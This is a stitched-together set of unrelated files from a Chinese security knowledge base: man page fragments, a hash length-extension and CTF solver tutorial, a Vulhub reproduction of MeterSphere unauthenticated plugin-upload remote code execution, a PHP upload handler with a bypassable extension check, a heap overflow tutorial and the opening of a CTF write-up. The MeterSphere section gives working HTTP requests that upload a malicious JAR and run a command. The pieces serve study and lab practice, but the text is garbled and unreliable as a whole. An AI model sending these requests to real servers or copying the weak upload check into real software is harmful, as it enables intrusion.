unsigned long flags;
}
address是模块在内核空间中驻留的地址,size是模块以字节计数的大小,flags是MOD_R
UNING,MOD_AUTOCLEAN等指示模块当前状态的标志的按位或组成的掩玛.ret被设置为mod
ule_info结构的大小.
.SH 返回值
成功时总是返回0,错误是返回-1,全局变量errno被相应设置.
.SH 错误
.TP
ENOENT
被name指定的模块不存在.
.TP
EINVAL
.TP
ENOSPC
提供的缓冲区太小,ret被设置为需要的最小大小.
.TP
EFAULT
name,buf或ret中至少一个越出了程序可访问的地址空间.
.SH
"雷勇" <nsinit@263.net>
|
sec-knowleage
|
# Hash Attack
常见的Hash函数的攻击方法主要有
- 暴力攻击:不依赖于任何算法细节,仅与Hash值长度有关;
- 生日攻击法(Birthday Attack):没有利用Hash函数的结构和任何代数弱性质,只依赖于消息摘要的长度,即Hash值的长度。
- 中点交会攻击法(Meet-In-The-Middle):是生日攻击的一种变形,不比较Hash值,而是比较中间变量。这种攻击主要适用于攻击具有分组链结构的Hash方案。
- 密码分析:依赖于具体算法的设计缺点。
## 暴力攻击
**HashCat 工具** 可以说是目前最好的基于 CPU 和 GPU 破解 Hash 的软件,相关链接如下
[HashCat 官网](http://www.hashcat.net/hashcat/)
[HashCat 简单使用](http://www.freebuf.com/sectool/112479.html)
## 哈希长度拓展攻击(hash length extension attacks)
### 介绍
基本定义如下,源自[维基百科](https://zh.wikipedia.org/wiki/%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB)。
哈希长度扩展攻击(Hash Length Extension Attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在**消息与密钥的长度已知**的情形下,所有采取了 H(key ∥ message) 此类构造的散列函数。MD5和SHA-1 等基于 Merkle–Damgård 构造的算法均对此类攻击显示出脆弱性。
这类哈希函数有以下特点
- 消息填充方式都比较类似,首先在消息后面添加一个1,然后填充若干个0,直至总长度与 448 同余,最后在其后附上64位的消息长度(填充前)。
- 每一块得到的链接变量都会被作为下一次执行hash函数的初始向量IV。在最后一块的时候,才会将其对应的链接变量转换为hash值。
一般攻击时应满足如下条件
- 我们已知 key 的长度,如果不知道的话,需要爆破出来
- 我们可以控制 message 的消息。
- 我们已经知道了包含 key 的一个消息的hash值。
这样我们就可以得到一对(messge,x)满足x=H(key ∥ message)虽然我们并不清楚key的内容。
### 攻击原理
这里不妨假设我们我们知道了 hash(key+s) 的 hash 值,其中 s 是已知的,那么其本身在计算的时候,必然会进行填充。那么我们首先可以得到 key+s 扩展后的字符串 now,即
now=key|s|padding
那么如果我们在 now 的后面再次附加上一部分信息extra,即
key|s|padding|extra
这样再去计算hash值的时候,
1. 会对 extra 进行填充直到满足条件。
2. 先计算 now 对应的链接变量 IV1,而我们已经知道这部分的 hash 值,并且链接变量产生 hash 值的算法是可逆的,所以我们可以得到链接变量。
3. 下面会根据得到的链接变量 IV1,对 extra 部分进行哈希算法,并返回hash值。
那么既然我们已经知道了第一部分的 hash 值,并且,我们还知道 extra 的值,那么我们便可以得到最后的hash值。
而之前我们也说了我们可以控制 message 的值。那么其实 s,padding,extra 我们都是可以控制的。所以我们自然可以找到对应的(message,x)满足x=hash(key|message)。
### 例子
似乎大都是web里面的,,不太懂web,暂时先不给例子了。
### 工具
- [hashpump](https://github.com/bwall/HashPump)
如何使用请参考github上的readme。
## hash算法设计有误
一些自定义的hash算法可能是可逆的。
### Hashinator
题目的逻辑很简单,从一个知名的密码字典"rockyou"挑选出一个`password`,并且使用多种hash算法随机的哈希32轮。我们需要从最后的hash结果中破解出原始的`password`。
#### 分析
题目采用的hash算法有:`md5`,`sha1`,`blake`,`scrypt`。
关键的代码如下:
```python
password = self.generate_password() # from rock_you.txt
salt = self.generate_salt(password) # 与password的长度有关
hash_rounds = self.generate_rounds() # 生成进行hash算法的顺序
password_hash = self.calculate_hash(salt + password, hash_rounds)
```
1. 程序首先通过从`rockyou.txt`中随机抽取一个`password`,作为加密的明文。
2. 然后根据抽取的`password`的长度,生成一个长度为`128 - len(password)`的`salt`。
3. 从之前列举的4种hash算法中抽取,组成32轮的哈希运算。
4. 根据之前得到的`password`、`salt`计算出最后给我们的`password_hash`。
很明显,我们不可能通过逆向hash算法来完成题目。
我们知道所有的可能的明文,首先考虑能否通过构造彩虹表来完成穷举。但是注意到`generate_salt()`函数中,`salt`和`password`的长度组合超过了128byte的长度,并且被注释了
```
msize = 128 # f-you hashcat :D
```
so,只能无奈放弃。
那这样的话,只存在一种可能,也即算法可逆。查看`calculate_hash()`函数的具体实现,可以发现如下可疑的代码:
```python
for i in range(len(hash_rounds)):
interim_salt = xor(interim_salt, hash_rounds[-1-i](interim_hash))
interim_hash = xor(interim_hash, hash_rounds[i](interim_salt))
final_hash = interim_salt + interim_hash
```
重新梳理一下我们知道的信息:
1. hash_rounds中保存了32轮,即每轮要使用的hash函数句柄。
2. final_hash是最后给我们的hash结果。
3. hash_rounds中的内容也会在生成之后打印给我们。
4. 我们希望得到`interim_salt`和`interim_hash`在第一轮的值。
5. `interim_salt`和`interim_hash`的长度均为64byte。
仔细观察一下`interim_salt`和`interim_hash`的计算方法,可以发现它是可逆的。
$$
interim\_hash_1 = interim\_hash_2 \oplus hash\_rounds[i](interim\_salt_3)
$$
这行代码里,我们已知 $interim\_hash_1$ 和 $interim\_salt_3$,由此可以推出$interim\_hash_2$的值,而$interim\_hash_2$则是上一轮的`interim_hash`。
以此方法逆推32次,则可以得到最初的`password`和`salt`。
具体的解密脚本为:
```python
import os
import hashlib
import socket
import threading
import socketserver
import struct
import time
import threading
# import pyscrypt
from base64 import b64encode, b64decode
from pwn import *
def md5(bytestring):
return hashlib.md5(bytestring).digest()
def sha(bytestring):
return hashlib.sha1(bytestring).digest()
def blake(bytestring):
return hashlib.blake2b(bytestring).digest()
def scrypt(bytestring):
l = int(len(bytestring) / 2)
salt = bytestring[:l]
p = bytestring[l:]
return hashlib.scrypt(p, salt=salt, n=2**16, r=8, p=1, maxmem=67111936)
# return pyscrypt.hash(p, salt, 2**16, 8, 1, dkLen=64)
def xor(s1, s2):
return b''.join([bytes([s1[i] ^ s2[i % len(s2)]]) for i in range(len(s1))])
def main():
# io = socket.socket(family=socket.AF_INET)
# io.connect(('47.88.216.38', 20013))
io = remote('47.88.216.38', 20013)
print(io.recv(1000))
ans_array = bytearray()
while True:
buf = io.recv(1)
if buf:
ans_array.extend(buf)
if buf == b'!':
break
password_hash_base64 = ans_array[ans_array.find(b"b'") + 2: ans_array.find(b"'\n")]
password_hash = b64decode(password_hash_base64)
print('password:', password_hash)
method_bytes = ans_array[
ans_array.find(b'used:\n') + 6 : ans_array.find(b'\nYour')
]
methods = method_bytes.split(b'\n')
methods = [bytes(x.strip(b'- ')).decode() for x in methods]
print(methods)
in_salt = password_hash[:64]
in_hash = password_hash[64:]
for pos, neg in zip(methods, methods[::-1]):
'''
interim_salt = xor(interim_salt, hash_rounds[-1-i](interim_hash))
interim_hash = xor(interim_hash, hash_rounds[i](interim_salt))
'''
in_hash = xor(in_hash, eval("{}(in_salt)".format(neg)))
in_salt = xor(in_salt, eval("{}(in_hash)".format(pos)))
print(in_hash, in_salt)
print(in_hash[-20:])
io.interactive()
main()
```
#### 原hash算法
```python
import os
import hashlib
import socket
import threading
import socketserver
import struct
import time
# import pyscrypt
from base64 import b64encode
def md5(bytestring):
return hashlib.md5(bytestring).digest()
def sha(bytestring):
return hashlib.sha1(bytestring).digest()
def blake(bytestring):
return hashlib.blake2b(bytestring).digest()
def scrypt(bytestring):
l = int(len(bytestring) / 2)
salt = bytestring[:l]
p = bytestring[l:]
return hashlib.scrypt(p, salt=salt, n=2**16, r=8, p=1, maxmem=67111936)
# return pyscrypt.hash(p, salt, 2**16, 8, 1)
def xor(s1, s2):
return b''.join([bytes([s1[i] ^ s2[i % len(s2)]]) for i in range(len(s1))])
class HashHandler(socketserver.BaseRequestHandler):
welcome_message = """
Welcome, young wanna-be Cracker, to the Hashinator.
To prove your worthiness, you must display the power of your cracking skills.
The test is easy:
1. We send you a password from the rockyou list, hashed using multiple randomly chosen algorithms.
2. You crack the hash and send back the original password.
As you already know the dictionary and won't need any fancy password rules, {} seconds should be plenty, right?
Please wait while we generate your hash...
"""
hashes = [md5, sha, blake, scrypt]
timeout = 10
total_rounds = 32
def handle(self):
self.request.sendall(self.welcome_message.format(self.timeout).encode())
password = self.generate_password() # from rock_you.txt
salt = self.generate_salt(password) # 与password的长度有关
hash_rounds = self.generate_rounds() # 生成进行hash算法的顺序
password_hash = self.calculate_hash(salt + password, hash_rounds)
self.generate_delay()
self.request.sendall("Challenge password hash: {}\n".format(b64encode(password_hash)).encode())
self.request.sendall("Rounds used:\n".encode())
test_rounds = []
for r in hash_rounds:
test_rounds.append(r)
for r in hash_rounds:
self.request.sendall("- {}\n".format(r.__name__).encode())
self.request.sendall("Your time starts now!\n".encode())
self.request.settimeout(self.timeout)
try:
response = self.request.recv(1024)
if response.strip() == password:
self.request.sendall("Congratulations! You are a true cracking master!\n".encode())
self.request.sendall("Welcome to the club: {}\n".format(flag).encode())
return
except socket.timeout:
pass
self.request.sendall("Your cracking skills are bad, and you should feel bad!".encode())
def generate_password(self):
rand = struct.unpack("I", os.urandom(4))[0]
lines = 14344391 # size of rockyou
line = rand % lines
password = ""
f = open('rockyou.txt', 'rb')
for i in range(line):
password = f.readline()
return password.strip()
def generate_salt(self, p):
msize = 128 # f-you hashcat :D
salt_size = msize - len(p)
return os.urandom(salt_size)
def generate_rounds(self):
rand = struct.unpack("Q", os.urandom(8))[0]
rounds = []
for i in range(self.total_rounds):
rounds.append(self.hashes[rand % len(self.hashes)])
rand = rand >> 2
return rounds
def calculate_hash(self, payload, hash_rounds):
interim_salt = payload[:64]
interim_hash = payload[64:]
for i in range(len(hash_rounds)):
interim_salt = xor(interim_salt, hash_rounds[-1-i](interim_hash))
interim_hash = xor(interim_hash, hash_rounds[i](interim_salt))
'''
interim_hash = xor(
interim_hash,
hash_rounds[i](
xor(interim_salt, hash_rounds[-1-i](interim_hash))
)
)
'''
final_hash = interim_salt + interim_hash
return final_hash
def generate_delay(self):
rand = struct.unpack("I", os.urandom(4))[0]
time.sleep(rand / 1000000000.0)
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True
PORT = 1337
HOST = '0.0.0.0'
flag = ""
with open("flag.txt") as f:
flag = f.read()
def main():
server = ThreadedTCPServer((HOST, PORT), HashHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
server_thread.join()
if __name__ == "__main__":
main()
```
|
sec-knowleage
|
# MeterSphere 插件接口未授权访问及远程代码执行
MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.16.3版本及以前,插件相关管理功能未授权访问,导致攻击者可以通过上传插件的方式在服务器中执行任意代码。
参考连接:
- <https://xz.aliyun.com/t/10772>
## 漏洞环境
执行如下命令启动一个MeterSphere 1.16.3服务器:
```
docker compose up -d
```
MeterSphere初始化成功后,访问`http://your-ip:8081`即可跳转到默认登录页面。
## 漏洞复现
首先,我们访问`http://your-ip:8081/plugin/list`可见成功返回插件信息(虽然此时插件为空),说明`/plugin/*`接口存在未授权访问问题,可以利用。

利用漏洞前,需要准备一个恶意MeterSphere插件。Vulhub提供了一个已经编译好的[插件](https://github.com/vulhub/metersphere-plugin-Backdoor/releases/tag/v1.1.0)以供测试(**请勿在非授权环境下测试**)。
将恶意插件使用如下数据包上传:
```
POST /plugin/add HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Length: 11985
------WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Disposition: form-data; name="file"; filename="Evil.jar"
[Paste your jar file]
------WebKitFormBoundaryJV2KX1EL5qmKWXsd--
```

> **如果使用Burpsuite来复现漏洞,你需要注意数据包编码问题,否则可能将无法复现。**
虽然这次上传会返回错误信息,但实际上恶意JAR包已经成功被添加进系统ClassLoader中。
发送如下数据包来执行`org.vulhub.Evil`类中的恶意代码:
```
POST /plugin/customMethod HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 89
{
"entry": "org.vulhub.Evil",
"request": "id"
}
```

|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: eof.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: eof.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH eof 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
eof \- 在通道上检查文件结束状况
.SH "总览 SYNOPSIS"
\fBeof \fIchannelId\fR
.BE
.SH "描述 DESCRIPTION"
.PP
如果在 \fIchannelId \fR上的最近的输入操作(例如 \fBgets\fR)期间出现(occur)了文件结束的情况(condition)则返回 1,否则返回0。
.SH "参见 SEE ALSO"
file(n), open(n), close(n), fblocked(n)
.SH "关键字 KEYWORDS"
channel, end of file
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 黑灰产整治法规政策
此处记录各个国家、相关部门对黑灰产发起的整治活动。
## 法规
- 中国刑法第七条和第三百零三条
## 政策
### 2019年
- > 2019年8月18日柬埔寨总理洪森签发政令,即日起禁止颁发各种形式的网络赌博执照,全面整顿网络博彩业同时配合中国公安发起的“云剑”、“净网”、“长城二号”等多项行动,一时间菜农们人心惶惶,大量菜农纷纷逃离西港,有的回国,有的选择投奔隔壁菲律宾。
>
> https://ti.qianxin.com/blog/articles/southeast-asian-gaming-industry-research-report/
|
sec-knowleage
|
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php'])) {
die('Unsupported filetype uploaded.');
}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
endif;
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
|
sec-knowleage
|
# 二十一、工具
+ [Burp Suite](https://portswigger.net/burp)
+ [Knockpy](https://github.com/guelfoweb/knock)
+ [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer)
+ [sqlmap](http://sqlmap.org)
+ [Nmap](https://nmap.org)
+ [Eyewitness](https://github.com/ChrisTruncer/EyeWitness)
+ [Shodan](https://www.shodan.io)
+ [What CMS](http://www.whatcms.org)
+ [Nikto](https://cirt.net/nikto2)
+ [Recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng)
+ [idb](http://www.idbtool.com)
+ [Wireshark](https://www.wireshark.com)
+ [Bucket Finder](https://digi.ninja/files/bucket_finder_1.1.tar.bz2)
+ [Google Dorks](https://www.exploit-db.com/google-hacking-database)
+ [IPV4info.com](http://ipv4info.com)
+ [JD GUI](https://github.com/java-decompiler/jd-gui)
+ [Mobile Security Framework](https://github.com/ajinabraham/Mobile-Security-Framework-MobSF)
+ [Firefox Plugins](https://addons.mozilla.org/en-US/firefox/)
+ [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/)
+ [UserAgentSwitcher](https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/)
+ [Firebug](https://addons.mozilla.org/en-US/firefox/addon/firebug/)
+ [Hackbar](https://addons.mozilla.org/en-US/firefox/addon/hackbar/)
+ [Websecurify](https://addons.mozilla.org/en-US/firefox/addon/websecurify/)
+ [CookieManager+](https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/)
+ [XSS Me](https://addons.mozilla.org/en-US/firefox/addon/xss-me/)
+ [Offsec Exploit-db Search](https://addons.mozilla.org/en-US/firefox/addon/offsec-exploit-db-search/)
+ [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)
|
sec-knowleage
|
package org.vulhub.shirodemo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class ShirodemoApplication {
public static void main(String[] args) {
SpringApplication.run(ShirodemoApplication.class, args);
}
}
|
sec-knowleage
|
# 堆溢出
## 介绍
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(**之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数**),因而导致了数据溢出,并覆盖到**物理相邻的高地址**的下一个堆块。
不难发现,堆溢出漏洞发生的基本前提是
- 程序向堆上写入数据。
- 写入的数据大小没有被良好地控制。
对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。
堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是
1. 覆盖与其**物理相邻的下一个 chunk** 的内容。
- prev_size
- size,主要有三个比特位,以及该堆块真正的大小。
- NON_MAIN_ARENA
- IS_MAPPED
- PREV_INUSE
- the True chunk size
- chunk content,从而改变程序固有的执行流。
2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。
## 基本示例
下面我们举一个简单的例子:
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
```
这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。
```
0x602000: 0x0000000000000000 0x0000000000000021 <===chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <===top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
```
print 'A'*100
进行写入
```
0x602000: 0x0000000000000000 0x0000000000000021 <===chunk
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141 <===top chunk(已被溢出)
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
```
## 小总结
堆溢出中比较重要的几个步骤:
### 寻找堆分配函数
通常来说堆是通过调用 glibc 函数 malloc 进行分配的,在某些情况下会使用 calloc 分配。calloc 与 malloc 的区别是 **calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的**。
```
calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);
```
除此之外,还有一种分配是经由 realloc 进行的,realloc 函数可以身兼 malloc 和 free 两个函数的功能。
```
#include <stdio.h>
int main(void)
{
char *chunk,*chunk1;
chunk=malloc(16);
chunk1=realloc(chunk,32);
return 0;
}
```
realloc的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作
- 当realloc(ptr,size)的size不等于ptr的size时
- 如果申请size>原来size
- 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
- 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
- 如果申请size<原来size
- 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
- 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
- 当realloc(ptr,size)的size等于0时,相当于free(ptr)
- 当realloc(ptr,size)的size等于ptr的size,不进行任何操作
### 寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。
常见的危险函数如下
- 输入
- gets,直接读取一行,忽略 `'\x00'`
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到 `'\x00'` 停止
- strcat,字符串拼接,遇到 `'\x00'` 停止
- bcopy
### 确定填充长度
这一部分主要是计算**我们开始写入的地址与我们所要覆盖的地址之间的距离**。
一个常见的误区是malloc的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的2倍,比如32位系统是8个字节,64位系统是16个字节。但是对于不大于2倍字长的请求,malloc会直接返回2倍字长的块也就是最小chunk,比如64位系统执行`malloc(0)`会返回用户区域为16字节的块。
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(0);
puts("Get input:");
gets(chunk);
return 0;
}
```
```
//根据系统的位数,malloc会分配8或16字节的用户空间
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
```
注意用户区域的大小不等于 chunk_head.size,chunk_head.size=用户区域大小+2*字长
还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个chunk的prev_size字段储存内容。回头再来看下之前的示例代码
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
```
观察如上代码,我们申请的chunk大小是24个字节。但是我们将其编译为64位可执行程序时,实际上分配的内存会是16个字节而不是24个。
```
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
```
16个字节的空间是如何装得下24个字节的内容呢?答案是借用了下一个块的pre_size域。我们可来看一下用户申请的内存大小与glibc中实际分配的内存大小之间的转换。
```c
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
```
当req=24时,request2size(24)=32。而除去chunk 头部的16个字节。实际上用户可用chunk的字节数为16。而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个chunk的prev_size字段,正好24个字节。**实际上 ptmalloc 分配内存是以双字为基本单位,以64位系统为例,分配出来的空间是16的整数倍,即用户申请的chunk都是16字节对齐的。**
|
sec-knowleage
|
# Heathrow - Secret Warehouse
Category: Pwn
## Description
> Wow, it’s a crowded day at Heathrow, lots of suits that bump into each other and try to catch their plane. You have to find the gate to the secret warehouse, it cannot be far away. You see a suspicious suit go into a fast food court and you spot him disappear behind the checkout. Hmmm, odd?! You follow, and when no one sees you follow him. You go through a desolated kitchen, it stinks, you cover your nose with the back of your hand. You pass through a small entrance, and enter the secret warehouse, wow, it’s vast!
>
> Challenge: pwn-notebook (pwn)
>
> Please help me restore my deleted note.
An executable was attached.
## Solution
The executable (and remote service) offer an online notebook:
```console
┌──(user@kali)-[/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse]
└─$ nc pwn-notebook.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
This is your confidential notebook.
This should get you through the next mission!
Good luck!
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
